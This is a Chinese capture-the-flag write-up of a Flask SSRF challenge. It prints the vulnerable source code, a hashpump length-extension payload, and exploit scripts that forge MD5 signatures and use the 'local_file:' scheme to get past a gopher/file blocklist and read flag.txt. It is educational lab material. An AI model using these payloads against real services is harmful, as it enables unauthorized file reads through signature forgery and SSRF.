一、涉及知识点
1、MD5长度扩展攻击
攻击场景:file=filename&hash=md5($secret_key.filename)验证成功下载文件
目的:传入任意filename实现任意文件读取
条件:
已知任意一个
md5($secret_key.filename),并且知道filename的明文。已知
secret_key的长度。用户可以提交md5值。
2、Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI(CVE-2019-9948)
https://bugs.python.org/issue35907
当不存在协议的时候,默认使用
file协议读取可以使用
local_file:绕过,例如local_file:flag.txt路径就是相对脚本的路径local_file://就必须使用绝对路径(协议一般都是这样)
PS:local-file:///proc/self/cwd/flag.txt也可以读取,因为/proc/self/cwd/代表的是当前路径如果使用 urllib2.urlopen(param) 去包含文件就必须加上
file,否则会报ValueError: unknown url type: /path/to/file的错误
二、解题方法
直接查看页面源代码可以看到正确格式的代码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)提示给的是 flag 在 ./flag.txt 中,题目单词打错了
python 的 flask 框架,三个路由,index 用于获取源码,geneSign 用于生成 md5,De1ta 就是挑战
大概思路就是在 /De1ta 中 get param ,cookie action sign 去读取 flag.txt,其中,
param=flag.txt,action中要含有read和scan,且sign=md5(secert_key + param + action)
哈希拓展攻击
这是这道题最多的解法,介绍 : https://joychou.org/web/hash-length-extension-attack.html
secert_key是一个长度为 16 的字符串,在/geneSign?param=flag.txt中可以获取md5(secert_key + 'flag.txt' + 'scan')的值,为5ec2214eb63a5e99e2b85ed127d1137a,而目标则是获取md5(secert_key + 'flag.txt' + 'readscan')的值使用 hashpump 即可
root@peri0d:~/HashPump# hashpump Input Signature: 5ec2214eb63a5e99e2b85ed127d1137a Input Data: scan Input Key Length: 24 //为secert_key加上flag.txt的长度 Input Data to Add: read b653d61d949a07b86f86fbb6155be8bf scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
exp :
import requests
url = 'http://be58d5ca-7550-4b01-aacb-a7838692748e.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': 'b653d61d949a07b86f86fbb6155be8bf',
'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
}
res = requests.get(url=url, cookies=cookies)
print(res.text)字符串拼接
试着访问了一下
/geneSign?param=flag.txt,给出了一个 md58370bdba94bd5aaf7427b84b3f52d7cb,但是只有scan的功能,想加入read功能就要另想办法了def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param)看了一下逻辑,在 getSign 处很有意思,这个字符串拼接的就很有意思了
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
不妨假设
secert_key是xxx,那么在开始访问/geneSign?param=flag.txt的时候,返回的 md5 就是md5('xxx' + 'flag.txt' + 'scan'),在 python 里面上述表达式就相当于md5(xxxflag.txtscan),这就很有意思了。直接构造访问
/geneSign?param=flag.txtread,拿到的 md5 就是md5('xxx' + 'flag.txtread' + 'scan'),等价于md5('xxxflag.txtreadscan'),这就达到了目标。
直接访问 /De1ta?param=flag.txt 构造 cookie action=readscan;sign=7cde191de87fe3ddac26e19acae1525e 即可

local_file
天枢大佬们的做法 : https://xz.aliyun.com/t/5921#toc-16
放上他们的 exp :
import requests
conn = requests.Session()
url = "http://be58d5ca-7550-4b01-aacb-a7838692748e.node3.buuoj.cn"
def geneSign(param):
data = {
"param": param
}
resp = conn.get(url + "/geneSign", params=data).text
print resp
return resp
def challenge(action, param, sign):
cookie = {
"action": action,
"sign": sign
}
params = {
"param": param
}
resp = conn.get(url + "/De1ta", params=params, cookies=cookie)
return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
sign = geneSign("{}read".format(filename.format(i)))
resp = challenge("readscan", filename.format(i), sign)
if ("title" in resp):
a.append(i)
print resp, i
print a请求
/geneSign?param=local_file:///app/flag.txtread获取 md5 值为60ff07b83381a35d13caaf2daf583c94,即md5(secert_key + 'local_file:///app/flag.txtread' + 'scan')然后再请求
/De1ta?param=local_file:///app/flag.txt构造 cookieaction=readscan;sign=60ff07b83381a35d13caaf2daf583c94以上就是他们 exp 做的事情,和上一个方法差不多
关于
local_file:参考 : https://bugs.python.org/issue35907
这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径
flag.txt或./flag.txt去访问,也可以使用类似的file:///app/flag.txt去访问,但是file关键字在黑名单里,可以使用local_file代替如果使用 urllib2.urlopen(param) 去包含文件就必须加上
file,否则会报ValueError: unknown url type: /path/to/file的错误